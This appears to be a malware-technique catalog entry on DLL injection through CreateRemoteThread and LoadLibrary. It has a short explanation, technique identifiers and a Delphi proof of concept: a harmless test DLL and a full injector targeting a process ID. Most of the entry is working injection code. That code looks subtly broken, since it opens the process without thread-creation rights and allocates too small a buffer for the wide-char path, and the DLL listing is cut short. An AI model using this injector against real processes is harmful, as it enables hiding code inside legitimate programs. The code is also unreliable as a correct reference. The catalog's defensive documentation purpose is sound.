DLL Injection via CreateRemoteThread and LoadLibrary

Created the Monday 18 March 2019. Updated 2 months ago.

DLL Injection Via CreateRemoteThread and LoadLibrary is a technique used by malware to inject its code into a legitimate process. This technique is similar to hook injection, where the malware inserts a malicious DLL to be used by the system. It is one of the most common techniques used to inject malware into another process.

The malware writes the path to its malicious dynamic-link library (DLL) in the virtual address space of the target process, and then creates a remote thread in the target process. The thread's start address is the LoadLibrary function, which is used to load the malicious DLL into the target process's address space. This allows the malware to execute its code within the context of the target process, without creating new processes or threads.

Technique Identifiers

U1226 E1055.001

Technique Tags

DLL Injection CreateRemoteThread LoadLibrary malware hook injection process system code injection legitimate process virtual address space remote thread target process LoadLibrary function malicious DLL execution

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

(*
    Example of DLL Code to test DLL Injection:
    ------------------------------------------

    BOF>>

    library UnprotectTestDLL;

          uses
            WinApi.Windows,
            System.SysUtils,
            System.Classes;

          {$R *.res}

          procedure DllMain(AReason: Integer);
          var AMessage   : String;
              AStrReason : String;
          begin
            case AReason of
              DLL_PROCESS_DETACH : AStrReason := 'DLL_PROCESS_DETACH';
              DLL_PROCESS_ATTACH : AStrReason := 'DLL_PROCESS_ATTACH';
              DLL_THREAD_ATTACH  : AStrReason := 'DLL_THREAD_ATTACH';
              DLL_THREAD_DETACH  : AStrReason := 'DLL_THREAD_DETACH';
              else
                AStrReason := 'REASON_UNKNOWN';
            end;

            AMessage := Format('(%s): Injected! Living in %d (%s) process.', [
              AStrReason,
              GetCurrentProcessId(),
              ExtractFileName(GetModuleName(0))
            ]);
            ///

            OutputDebugStringW(PWideChar(AMessage));
          end;

          begin
            DllProc := DllMain;
            DllMain(DLL_PROCESS_ATTACH)


    <<EOF
*)

// Support both x86-32 and x86-64

program DLLInjection_CreateRemoteThread_LoadLibrary;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  WinApi.Windows,
  System.SysUtils;

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;


constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;

procedure InjectDLL(const ADLLFile : String; const ATargetProcessId : Cardinal);
var hProcess      : THandle;
    pOffset       : Pointer;
    AThreadId     : Cardinal;
    ABytesWritten : SIZE_T;
begin
  if not FileExists(ADLLFile) then
    raise Exception.Create('DLL file not found!');
  ///

  hProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE, False, ATargetProcessId);
  if hProcess = 0 then
    raise EWindowsException.Create('OpenProcess');
  try
    pOffset := VirtualAllocEx(hProcess, nil, Length(ADLLFile), MEM_COMMIT, PAGE_READWRITE);
    if not Assigned(pOffset) then
      raise EWindowsException.Create('VirtualAllocEx');

    if not WriteProcessMemory(hProcess, pOffset, PWideChar(ADLLFile), Length(ADLLFile) * SizeOf(WideChar), ABytesWritten) then
      raise EWindowsException.Create('WriteProcessMemory');

    if CreateRemoteThread(hProcess, nil, 0, GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryW'), pOffset, 0, AThreadId) = 0 then
      raise EWindowsException.Create('CreateRemoteThread');
  finally
    CloseHandle(hProcess);
  end;
end;

begin
  try
    InjectDLL('c:\temp\UnprotectTestDLL.dll' {Desired DLL To Inject}, 12196 {Desired Process Id});
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

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